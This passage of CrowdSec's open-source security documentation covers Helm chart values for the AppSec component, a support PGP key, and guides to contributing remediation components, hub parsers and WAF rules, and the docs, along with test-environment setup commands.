for agent | `""` | | `agent.service.labels`[]() | Labels applied to the agent Service | `{}` | | `agent.service.annotations`[]() | Annotations applied to the agent Service | `{}` | | `agent.service.externalIPs`[]() | External IPs assigned to the agent Service | `[]` | | `agent.service.loadBalancerIP`[]() | Fixed LoadBalancer IP for the agent Service | `nil` | | `agent.service.loadBalancerClass`[]() | LoadBalancer class for the agent Service | `nil` | | `agent.service.externalTrafficPolicy`[]() | External traffic policy for the agent Service | `""` | | `agent.service.ports`[]() | Custom service ports (default: metrics port 6060 if enabled) | `[]` | | `agent.wait_for_lapi.image.repository`[]() | Repository for the wait-for-lapi init container image | `""` | | `agent.wait_for_lapi.image.pullPolicy`[]() | Image pull policy for the wait-for-lapi init container | `""` | | `agent.wait_for_lapi.image.tag`[]() | Image tag for the wait-for-lapi init container | `""` | | `agent.wait_for_lapi.securityContext`[]() | Security context for the wait-for-lapi init container | `{}` | | `appsec.enabled`[]() | \[object] Enable AppSec component (disabled by default) | `false` | | `appsec.lapiURL`[]() | URL the AppSec component uses to reach LAPI (defaults to internal service URL) | `""` | | `appsec.lapiHost`[]() | Hostname the AppSec component uses to reach LAPI | `""` | | `appsec.lapiPort`[]() | Port the AppSec component uses to reach LAPI | `8080` | | `appsec.replicas`[]() | Number of replicas for the AppSec Deployment | `1` | | `appsec.strategy`[]() | Deployment strategy for AppSec | `{}` | | `appsec.acquisitions`[]() | AppSec acquisitions (datasource listeners), e.g. appsec listener on 7422 | `[]` | | `appsec.scenarios`[]() | Custom scenario files for the appsec pod (key = filename, value = file content) | `{}` | | `appsec.postoverflows.s00-enrich`[]() | Custom postoverflow enrichment files for the appsec pod | `{}` | | `appsec.postoverflows.s01-whitelist`[]() | Custom postoverflow whitelist files for the appsec pod | `{}` | | `appsec.configs`[]() | AppSec configs (key = filename, value = file content) | `{}` | | `appsec.rules`[]() | AppSec rule files (key = filename, value = file content) | `{}` | | `appsec.priorityClassName`[]() | Priority class name for AppSec pods | `""` | | `appsec.deployAnnotations`[]() | Annotations added to the AppSec Deployment | `{}` | | `appsec.podAnnotations`[]() | Annotations added to AppSec pods | `{}` | | `appsec.podLabels`[]() | Labels added to AppSec pods | `{}` | | `appsec.extraInitContainers`[]() | Extra init containers for AppSec pods | `[]` | | `appsec.extraVolumes`[]() | Extra volumes for AppSec pods | `[]` | | `appsec.extraVolumeMounts`[]() | Extra volume mounts for AppSec pods | `[]` | | `appsec.podSecurityContext`[]() | Security context for AppSec pods | `{}` | | `appsec.securityContext`[]() | Security context for the appsec container | `{}` | | `appsec.resources`[]() | Resource requests and limits for AppSec pods | `{}` | | `appsec.env`[]() | Environment variables for the AppSec container (collections/configs/rules toggles, etc.) | `[]` | | `appsec.nodeSelector`[]() | Node selector for scheduling AppSec pods | `{}` | | `appsec.tolerations`[]() | Tolerations for scheduling AppSec pods | `[]` | | `appsec.affinity`[]() | Affinity rules for scheduling AppSec pods | `{}` | | `appsec.livenessProbe`[]() | Liveness probe configuration for AppSec pods | `{}` | | `appsec.readinessProbe`[]() | Readiness probe configuration for AppSec pods | `{}` | | `appsec.startupProbe`[]() | Startup probe configuration for AppSec pods | `{}` | | `appsec.metrics.enabled`[]() | Enable service monitoring (exposes metrics on 6060; AppSec listener typically 7422) | `true` | | `appsec.metrics.serviceMonitor.enabled`[]() | Create a ServiceMonitor for Prometheus scraping | `false` | | `appsec.metrics.serviceMonitor.additionalLabels`[]() | Extra labels for the ServiceMonitor | `{}` | | `appsec.metrics.podMonitor.enabled`[]() | Create a PodMonitor for Prometheus scraping | `false` | | `appsec.metrics.podMonitor.additionalLabels`[]() | Extra labels for the PodMonitor | `{}` | | `appsec.service.type`[]() | Kubernetes Service type for AppSec | `""` | | `appsec.service.labels`[]() | Additional labels for the AppSec Service | `{}` | | `appsec.service.annotations`[]() | Annotations to apply to the LAPI ingress object | `{}` | | `appsec.service.externalIPs`[]() | External IPs for the AppSec Service | `[]` | | `appsec.service.loadBalancerIP`[]() | Fixed LoadBalancer IP for the AppSec Service | `nil` | | `appsec.service.loadBalancerClass`[]() | LoadBalancer class for the AppSec Service | `nil` | | `appsec.service.externalTrafficPolicy`[]() | External traffic policy for the AppSec Service | `""` | | `appsec.wait_for_lapi.image.repository`[]() | Repository for the wait-for-lapi init con | `""` | | `appsec.wait_for_lapi.image.pullPolicy`[]() | Image pull policy for the wait-for-lapi init container | `""` | | `appsec.wait_for_lapi.image.tag`[]() | Image tag for the wait-for-lapi init container | `1.28` | | `appsec.wait_for_lapi.securityContext`[]() | Security context for the wait-for-lapi init container | `{}` | --- # Contact the team If you want to contact us using non-public media, you can contact us on `support` AT `crowdsec` DOT `net` with the following gpg-key : TEXTCOPY ``` -----BEGIN PGP PUBLIC KEY BLOCK----- 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 =hW13 -----END PGP PUBLIC KEY BLOCK----- ``` --- # Remediation Components ## Publishing remediation component[โ€‹](#publishing-remediation-component "Direct link to Publishing remediation component") We do welcome remediation components from the community, and will gladly publish them on the hub. ### Why ?[โ€‹](#why- "Direct link to Why ?") Sharing on the hub allows other users to find and use it. While increasing your code's visibility, it also ensures a benevolent evaluation by the community and our team. ### How ?[โ€‹](#how- "Direct link to How ?") #### Specs[โ€‹](#specs "Direct link to Specs") Remediation components have mandatory and optional features, they are described in the following sub pages: * [Specifications for Remediation Component and AppSec Capabilities](https://docs.crowdsec.net/docs/next/contributing/specs/bouncer_appsec_specs.md) * [Remediation Component Metrics](https://docs.crowdsec.net/docs/next/contributing/specs/bouncer_metrics_specs.md) *Don't hesitate to get in touch with us via discord if anything is unclear to you* Those specs describe how the Remediation component interacts with the Security Engine Local API as well as how each feature should behave. Main features are: * **Mode**: How the bouncer retrieves decisions * **Stream**: Pulls them periodically and stores them locally (preferred for low latency remediation) * **Live**: Queries the LAPI upon request reception (easier to implement) * Both available ideally, but **Stream** preferred in most cases * **AppSec**: Ability to forward requests to the Security Engine to eval appsec rules * Optional but if the remediation component has access to the request this features is a big plus * **Metrics**: Keep track of what was remediated * Optional but very useful for the users to be able to evaluate the efficiency of the protection * Ideally with details on the source of the decision (blocklist, manual block, a scenario triggering a decision 'crowdsec'...) Other optional features are: * **MTLS** support * Exposing metrics to **Prometheus** #### Publish on Github[โ€‹](#publish-on-github "Direct link to Publish on Github") To have it published on the hub, please simply [open a new issue on the hub](https://github.com/crowdsecurity/hub/issues/new), requesting "remediation component inclusion". The remediation component will then be reviewed by the team, and published directly on the hub, for everyone to find & use it! info currently the hub only allows links to code bases hosted on github.com, we will support others in the future The information that should be stated in your issue is: * Source repository of your remediation component (for example `https://github.com/crowdsecurity/cs-firewall-bouncer/`) * Software licence used * Current status of the remediation component (stage: dev/unstable/stable) * Documentation (can be simply in the README.md): * must contain: installing, uninstalling * should contain: configuration documentation * Link to existing tests if applicable (either functional or unit tests) Please take care of the following : * Ensure your repository has a About/Short description meaningful enough: it will be displayed in the hub * Ensure your repository has a decent README.md file: it will be displayed in the hub * Ensure your repository has *at least* one release: this is what users will be looking for * (ideally) Have a "social preview image" on your repository: this will be displayed in the hub when available * (ideally) A Howto or link to a guide that provides a hands-on experience with the remediation component You can follow this template: MDCOPY ``` Hello, I would like to suggest the addition of the `XXXX` to the hub : - Source repository: https://github.com/xxx/xxx/ - Licence: MIT - Current status: stable (has been used in production for a while) - README/doc: https://github.com/xxx/xxx/blob/main/README.md - Existing tests: - functional tests: https://github.com/xxx/xxx/blob/main/.github/workflows/tests.yml - Short/Long description: OK - Howto: in README - At least one release: yes ``` ### Bonus[โ€‹](#bonus "Direct link to Bonus") You can also open a Pull Request to add the remediation component in the Hub. To do this, you must edit the [`blockers/list.json`](https://raw.githubusercontent.com/crowdsecurity/hub/master/blockers/list.json) file and add the following object in the array: JSONCOPY ``` { "name": "", "author": "", "logo": "" } ``` --- # Contributing to CrowdSec * If you want to report a bug, you can use [the github bugtracker](https://github.com/crowdsecurity/crowdsec/issues) * If you want to suggest an improvement you can use either [the github bugtracker](https://github.com/crowdsecurity/crowdsec/issues) or the [CrowdSecurity discourse](http://discourse.crowdsec.net) ## Testing[โ€‹](#testing "Direct link to Testing") There are three types of tests on the main crowdsec repository. You can run them anytime on your environment, and they are also run within the GitHub CI. ### Go tests[โ€‹](#go-tests "Direct link to Go tests") They include unit and integration tests written in the `*_test.go` files. You will need Docker in order to use [localstack](https://github.com/localstack/localstack) to emulate AWS and also for testing the log collector for Docker. If you have installed docker-compose and have access to Docker via `/var/run/docker.sock`, open a shell and run `make localstack`. In a second shell, run `make test`. ### Bats tests[โ€‹](#bats-tests "Direct link to Bats tests") These are documented in [test/README.md](https://github.com/crowdsecurity/crowdsec/blob/master/test/README.md). They are easier to write than the Go tests, but can only test each binary's external behavior. Run with `make bats-all`. ### Hub tests[โ€‹](#hub-tests "Direct link to Hub tests") These are testing the parsers, scenarios, etc. They are run from the bats tests for convenience but actually defined in [the Hub repository](https://github.com/crowdsecurity/hub/tree/master/.tests). Run with `make bats-build bats-fixture` once, then `make bats-test-hub`. ## Git workflow / branch management[โ€‹](#git-workflow--branch-management "Direct link to Git workflow / branch management") We receive contributions on the *master* branch (or *main*, in recent repositories). To contribute, fork the repository, commit the code in a dedicated branch and ask for a Pull Request. By default it will target the master branch on the upstream repository, so in most cases you don't have to change anything. It will be reviewed by the core team and merged when ready, possibly after some changes. It is recommended to open [an Issue linked to the PR](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) in order to discuss it and track its progression. You may also receive feedback from the CI scripts (directory [.github/workflows](https://github.com/crowdsecurity/hub/tree/master/.github/workflows)) that run a series of linters and tests. You are encouraged to run these on your environment as well, before committing (see the "Testing" section above, and "Style guide" below). ## Release branches[โ€‹](#release-branches "Direct link to Release branches") When we decide to start working on a major or minor release (for example 1.5) we create a 1.5.x branch from master. New contributions are always on the master, but from time to time the master is merged to the release branch. The upcoming release branch does not receive code from anywhere than the master branch. As work progresses on the release branch, we eventually create pre-release tags (ex. 1.5.0-rc1) and finally a release tag (1.5.0). At this point, we create the Release (source tar, zip, binary and static), and push the button on the Goldberg Machine to publish the binary packages. This is where we create the 1.6.x branch and we put the 1.5.x in maintenance mode. A maintenance branch is divorced from master, and can receive code from branches other than master, to allow for backporting features and fixes. These lead eventually to *patch versions* (1.5.1, 1.5.2) which correspond to git tags but don't have dedicated branches. --- # Contributing basics * Write Crowdsec documentation in Markdown and build the Crowdsec documentation using [docusaurus](https://docusaurus.io/) * Docusaurus uses [markdown](https://docusaurus.io/docs/markdown-features) and [MDX](https://docusaurus.io/docs/markdown-features/react) * The source code is in [GitHub](https://github.com/crowdsecurity/crowdsec-docs) * The documentation is versioned and changes should be made across the relevant versions # Tools for contributors Crowdsec documentation is rendered using [docusaurus](https://docusaurus.io/) : * Documentation can be rendered locally * PRs are rendered using amplify to staging env ## Rendering locally[โ€‹](#rendering-locally "Direct link to Rendering locally") * Clone the github repository * Run docusaurus locally SHCOPY ``` cd crowdsec-docs/ npm run start ``` ## Previews[โ€‹](#previews "Direct link to Previews") Once you open a pull request on the documentation repository, it will be rendered on a staging environement to facilitate the review process. # Contributing Once you have made your local changes, open a pull request (PR). If your change is small or you're unfamiliar with git, you can [make your changes using Github web editor](https://docs.github.com/en/repositories/working-with-files/managing-files/editing-files). In both cases, please make sure to include a meaningful description in your PR to facilitate review and triage. Once your change is accepted or further requested changes are made, it will be merged. --- # Contributing to the Hub Parsers, Scenarios, Collections, and WAF rules allow the CrowdSec `Security Engine` to detect and block malevolent behavior. Supporting new services or improving detection capabilities is a great way to contribute to the CrowdSec ecosystem. Sharing your parsers, scenarios, waf rules and collections on the hub allows other users to use them to protect themselves. ## Communication[โ€‹](#communication "Direct link to Communication") The main communication channels for hub contributions are: * [Discord](https://discord.gg/crowdsec): Best for live interactions and quick questions about hub development * [GitHub Issues](https://github.com/crowdsecurity/hub/issues): Use for bug reports and feature requests. also great for discussing ideas, suggesting improvements, or asking detailed questions ## Getting Started[โ€‹](#getting-started "Direct link to Getting Started") Anyone can open an issue about parsers, scenarios, collections, or WAF rules, or contribute a change with a pull request (PR) to the [crowdsecurity/hub](https://github.com/crowdsecurity/hub) GitHub repository. You need to be comfortable with git and GitHub to work effectively. ### Find something to work on[โ€‹](#find-something-to-work-on "Direct link to Find something to work on") Here are some things you can do today to start contributing: * Help improve existing parsers, scenarios, collections, and WAF rules * Add support for new services and applications * Detect and block Web Application attacks via WAF rules * Help triage issues and review pull requests * Improve documentation and examples ### Find a good first topic[โ€‹](#find-a-good-first-topic "Direct link to Find a good first topic") The hub repository has beginner-friendly issues that are a great place to get started: * Look for issues labeled `good first issue` - these don't require high-level CrowdSec knowledge * Issues labeled `help wanted` indicate that community help is particularly welcome ### Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") Before contributing, make sure you have: * Basic understanding of YAML syntax * Familiarity with grok patterns (for parsers) and HTTP request basics (for WAF rules) * Git and GitHub knowledge * A local CrowdSec installation for testing ### Contribution Workflow[โ€‹](#contribution-workflow "Direct link to Contribution Workflow") The basic workflow for contributing: 1. Have a look at open [issues](https://github.com/crowdsecurity/hub/issues) and [pull requests](https://github.com/crowdsecurity/hub/pulls) 2. Fork and clone the hub repository 3. Create/Modify parsers/scenarios/collections/AppSec rules 4. Create/Modify tests to ensure proper coverage 5. Open a pull request ## Parsers and scenarios[โ€‹](#parsers-and-scenarios "Direct link to Parsers and scenarios") Use the dedicated creation guides for full walkthroughs and keep these must-haves in mind: * Parsers: follow [parsers creation](https://docs.crowdsec.net/docs/next/log_processor/parsers/create.md); add cscli hubtest coverage and a short `.md` describing purpose/setup. * Scenarios: follow [scenarios creation](https://docs.crowdsec.net/docs/next/log_processor/scenarios/create.md); fill the required `labels`, cover the scenario with cscli hubtest, and add a `.md` doc. ## AppSec rules[โ€‹](#appsec-rules "Direct link to AppSec rules") Follow [AppSec rule creation](https://docs.crowdsec.net/docs/next/appsec/create_rules.md) for the detailed flow. Essentials: * Tests: create a cscli hubtest with `--appsec` and provide the nuclei template plus assertions as described in the guide. * Rule metadata: complete the required labels/fields so CI passes. ## Collections[โ€‹](#collections "Direct link to Collections") Use [collections format](https://docs.crowdsec.net/docs/next/log_processor/collections/format.md); bundle tested parsers, scenarios, and WAF rules. Add a markdown page that states the collection goal plus the acquisition example to ingest the logs. ## Testing[โ€‹](#testing "Direct link to Testing") Before submitting, ensure proper testing with `cscli hubtest`. Follow the dedicated creation guides for step-by-step instructions instead of duplicating them here: * Parser tests: [parsers creation](https://docs.crowdsec.net/docs/next/log_processor/parsers/create.md#create-our-test) * Scenario tests: [scenarios creation](https://docs.crowdsec.net/docs/next/log_processor/scenarios/create.md#create-our-test) * AppSec tests (with nuclei templates): [AppSec rule creation](https://docs.crowdsec.net/docs/next/appsec/create_rules.md#create-our-test) * CLI reference and options: [cscli hubtest](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest.md) ### CI/CD Testing[โ€‹](#cicd-testing "Direct link to CI/CD Testing") The hub repository uses GitHub Actions for automated testing of parsers, scenarios, and AppSec rules when you open a PR. Make sure local tests pass before requesting review. ## Git Workflow / Branch Management[โ€‹](#git-workflow--branch-management "Direct link to Git Workflow / Branch Management") We receive contributions on the `master` branch. To contribute: 1. **Fork the repository** on GitHub 2. **Clone your fork** locally: SHCOPY ``` git clone https://github.com/yourusername/hub.git cd hub ``` 3. **Create a dedicated branch** for your contribution: SHCOPY ``` git checkout -b feature/your-feature-name ``` 4. **Make your changes** and commit them with descriptive messages 5. **Push to your fork**: SHCOPY ``` git push origin feature/your-feature-name ``` 6. **Open a Pull Request** targeting the `master` branch ## Guidelines[โ€‹](#guidelines "Direct link to Guidelines") ### YAML Best Practices[โ€‹](#yaml-best-practices "Direct link to YAML Best Practices") When creating parsers, scenarios, and collections, follow these YAML guidelines: #### Avoid YAML Anchors[โ€‹](#avoid-yaml-anchors "Direct link to Avoid YAML Anchors") **โŒ Don't use YAML anchors** - they make YAML files harder to maintain and understand: ### AI-Assisted Generation[โ€‹](#ai-assisted-generation "Direct link to AI-Assisted Generation") We do allow AI-assisted generation of parsers, scenarios, collections, and AppSec rules, but with important requirements: * **Follow all guidelines**: AI-generated code must still follow all the guidelines in this document * **Include comprehensive tests**: A pull request with AI-generated code but no tests will be immediately closed * **Proper documentation**: Include complete documentation and examples as required #### Disclosure Requirement[โ€‹](#disclosure-requirement "Direct link to Disclosure Requirement") **Important**: When submitting AI-assisted contributions, you must check the "AI was used to generate any/all content of this PR" box in the PR template. You must understand and be able to explain yourself what was generated. AI-generated code will receive additional scrutiny to ensure quality and correctness. #### What We Expect[โ€‹](#what-we-expect "Direct link to What We Expect") * Test coverage using `cscli hubtest` * Proper error handling and edge cases * Clear documentation and examples * Adherence to CrowdSec patterns and conventions * Human review and validation of the AI output ### Technical Documentation[โ€‹](#technical-documentation "Direct link to Technical Documentation") The following explains how to create and test: * [parsers](https://docs.crowdsec.net/docs/next/log_processor/parsers/create.md) * [scenarios](https://docs.crowdsec.net/docs/next/log_processor/scenarios/create.md) * [AppSec rules](https://docs.crowdsec.net/docs/next/appsec/create_rules.md) ### Collections[โ€‹](#collections-1 "Direct link to Collections") Collections group related parsers, scenarios, and postoverflows together. It often makes sense for a new parser or scenario to be added to an existing [collection](https://docs.crowdsec.net/docs/next/log_processor/collections/format.md), or create a new one. #### When to create a new collection:[โ€‹](#when-to-create-a-new-collection "Direct link to When to create a new collection:") * Your parsers and/or scenarios cover a new or specific service * You're adding multiple related components that work together * The existing collections don't fit your use case #### When to add to existing collections:[โ€‹](#when-to-add-to-existing-collections "Direct link to When to add to existing collections:") * Adding a parser for a specific web server's access logs that would benefit from existing HTTP-related scenarios * Your contribution enhances an existing service's detection capabilities * Your scenario complements existing parsers in a collection #### Collection structure:[โ€‹](#collection-structure "Direct link to Collection structure:") Each collection should include: * Descriptive name and description * Proper labels and tags * Documentation with setup instructions * Example acquisition configuration * Related parsers, scenarios, and postoverflows ## Preparing your contribution[โ€‹](#preparing-your-contribution "Direct link to Preparing your contribution") Before asking for a review of your PR, please ensure you have the following: ### Tests[โ€‹](#tests "Direct link to Tests") Test creation is covered in [parsers creation](https://docs.crowdsec.net/docs/next/log_processor/parsers/create.md), [scenarios creation](https://docs.crowdsec.net/docs/next/log_processor/scenarios/create.md), and [AppSec rule creation](https://docs.crowdsec.net/docs/next/appsec/create_rules.md). Ensure that each component is properly tested: * **Parser tests**: Include sample log files that cover various scenarios (success, failure, edge cases) * **Scenario tests**: Test with different input data to ensure proper triggering and no false positives * **AppSec tests**: Provide nuclei templates and expected outcomes for your rule * **Integration tests**: Verify that your components work well with existing parsers/scenarios ### Documentation[โ€‹](#documentation "Direct link to Documentation") Please provide a `.md` file with the same name as each of your parser, scenario, collection, or WAF rule. The markdown is rendered in the [hub](https://hub.crowdsec.net). #### Collection Documentation[โ€‹](#collection-documentation "Direct link to Collection Documentation") State the collection goal and, if you're targeting a specific log file, provide an acquisition example: YAMLCOPY ``` filenames: - /var/log/xxx/*.log labels: type: something ``` ### Code Quality[โ€‹](#code-quality "Direct link to Code Quality") * Follow existing naming conventions * Use consistent indentation and formatting * Add comments for complex logic * Ensure all required fields are properly filled ## Opening your PR[โ€‹](#opening-your-pr "Direct link to Opening your PR") Everything is all set, you can now open a PR that will be reviewed and merged! ### PR Checklist[โ€‹](#pr-checklist "Direct link to PR Checklist") Before opening your PR, ensure you can check all items in the [PR template](https://github.com/crowdsecurity/hub/blob/master/.github/pull_request_template.md). Additional requirements: * Documentation is complete and accurate * Code follows the project's style guidelines * Commit messages are clear and descriptive * PR description explains the changes and motivation * Related issues are referenced (if applicable) ### Review Process[โ€‹](#review-process "Direct link to Review Process") * PRs are reviewed by maintainers and community members * Feedback may be requested for improvements * All CI checks must pass before merging * Maintainers will merge approved PRs ### Getting Help[โ€‹](#getting-help "Direct link to Getting Help") If you encounter issues: 1. Check existing [GitHub Issues](https://github.com/crowdsecurity/hub/issues) for similar problems 2. Ask for help on [Discord](https://discord.gg/crowdsec) or [Discourse](https://discourse.crowdsec.net/) 3. Open a new issue with detailed information about your problem ### Useful Resources[โ€‹](#useful-resources "Direct link to Useful Resources") * [Parser Creation Guide](https://docs.crowdsec.net/docs/next/log_processor/parsers/create.md) * [Scenario Creation Guide](https://docs.crowdsec.net/docs/next/log_processor/scenarios/create.md) * [AppSec Rule Creation](https://docs.crowdsec.net/docs/next/appsec/create_rules.md) * [Collection Format](https://docs.crowdsec.net/docs/next/log_processor/collections/format.md) * [Expression Language Documentation](https://docs.crowdsec.net/docs/next/expr/intro.md) * [cscli hubtest Documentation](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest.md) * [Hub Website](https://hub.crowdsec.net) --- # Creating a test environment warning The following documentation is written for use on Linux systems. If you are using a different operating system, please adjust the commands accordingly if we have prebuilt binaries for your system. **However, please note we do not compile for MacOS so you will need to compile from source.** You need a test environment for several reasons: * Creation of new parsers or scenarios * Testing new features or in general * Showcase a bug or a corner-case This can be done directly with the tarball of the release : SHCOPY ``` VER=1.6.3 # Please check https://github.com/crowdsecurity/crowdsec/releases/latest for latest version wget https://github.com/crowdsecurity/crowdsec/releases/download/v$VER/crowdsec-release.tgz tar xvzf crowdsec-release.tgz cd crowdsec-v$VER ./test_env.sh ``` You receive a directory structure like this: SHCOPY ``` crowdsec-v |- cmd | |- crowdsec | |- crowdsec-cli |- config | |- patterns |- plugins | |- notifications |- tests |- config |- data |- logs |- plugins ``` The test environment is available in the folder `tests` and provides a functional CrowdSec environment : SHCOPY ``` cd tests ./crowdsec -c dev.yaml ``` `cscli` should be functional as well : SHCOPY ``` cd tests ./cscli -c dev.yaml hub list ``` In the test environment the configurations are in the folder `config/`. ## Add hub repository to test environment[โ€‹](#add-hub-repository-to-test-environment "Direct link to Add hub repository to test environment") > You only need to add this if you want to develop parsers and scenarios SHCOPY ``` # cd tests # if you are already in tests no need to cd git clone https://github.com/crowdsecurity/hub cd hub ``` Great! since we cloned the hub repository we can now run `cscli` commands within here for example: SHCOPY ``` ../cscli -c ../dev.yaml hubtest run --all ``` That command will now run all tests within the hub repository. Please take note about the `../` infront of `cscli` and `dev.yaml` as these are in the folder above our current working directory. A helpful tip to save you typing the whole command everytime is to set an shell alias example: SHCOPY ``` alias csdev="$(dirname $PWD)/cscli -c $(dirname $PWD)/dev.yaml" ``` Then you can run command as SHCOPY ``` csdev hubtest run --all ``` However, this is temporary alias set within the shell so please add to `.bashrc` or your shell equivalent. --- # Getting Started ## Getting Started[โ€‹](#getting-started "Direct link to Getting Started") You want to contribute to Crowdsec? Fantastic! In order to achieve this, this guide will provide you with all the needed information and guidance ๐Ÿ‘ ### Communication[โ€‹](#communication "Direct link to Communication") The main comunication channels of the project are: * [discord](https://discord.gg/crowdsec): [Discord](https://discord.com/) is the most common communication medium of the project, and is especially suitable for live interactions (chatting). * [discourse](https://discourse.crowdsec.net/): [Discourse](https://www.discourse.org/) is a forum and is very useful to expose ideas and suggestions, or simply to formulate a question to which you didn't find answer on discord. * [github](https://github.com/crowdsecurity/): Issues and Pull Requests are used to expose bugs and suggestions in a more formal way. Do not hesitate to join & ask your questions! ## Making your first contribution[โ€‹](#making-your-first-contribution "Direct link to Making your first contribution") ### Find something to work on[โ€‹](#find-something-to-work-on "Direct link to Find something to work on") The first step to getting starting is to find something to work on. Help is always welcome, and no contribution is too small! Here are some things you can do today to start contributing: * Help improve the documentation * Clarify code, variables, or functions that can be renamed or commented on * Write test coverage * Help triage issues ### Find a good first topic[โ€‹](#find-a-good-first-topic "Direct link to Find a good first topic") There are multiple repositories within the Crowdsecurity organization. [Each repository](https://github.com/crowdsecurity/) has beginner-friendly issues that are a great place to get started on your contributor journey. For example, [crowdsecurity/crowdsec](https://github.com/crowdsecurity/crowdsec/issues) and [crowdsecurity/hub](https://github.com/crowdsecurity/hub/issues) have `help wanted` and `good first issue` labels for issues that donโ€™t need high-level Crowdsec knowledge to contribute to. The `good first issue` label also indicates that Crowdsecurity Members are committed to providing extra assistance for new contributors. Another way to get started is to find a documentation improvement, such as a missing/broken link, which will give you exposure to the code submission/review process without the added complication of technical depth. ## Contribution rules[โ€‹](#contribution-rules "Direct link to Contribution rules") The main components of the project have their dedicated contribution pages : * [hub](https://docs.crowdsec.net/docs/contributing/contributing_hub) * [crowdsec](https://docs.crowdsec.net/docs/contributing/contributing_crowdsec) * [documentation](https://docs.crowdsec.net/docs/contributing/contributing_doc) --- # Specifications for Remediation Component and AppSec Capabilities ## Context[โ€‹](#context "Direct link to Context") A **Remediation Component** *(aka **Bouncer**)* is enforcing **decisions** made by **CrowdSec Security Engine** based on detected malicious behaviors [\[See figure 1\]](#crowdsec-security-engine-diagram), or Directly with CrowdSec SaaS endpoint channeling public, crowdsec or user made blocklsits. A **decision** dictates what action should be applied on incoming traffic from a specific **IP** or **IP-Range**. *(It could also be on the user scope or any other, but these specifications will focus on the IP and Range scopes)* The Bouncer communicates with the Security Engine to retrieve the decisions
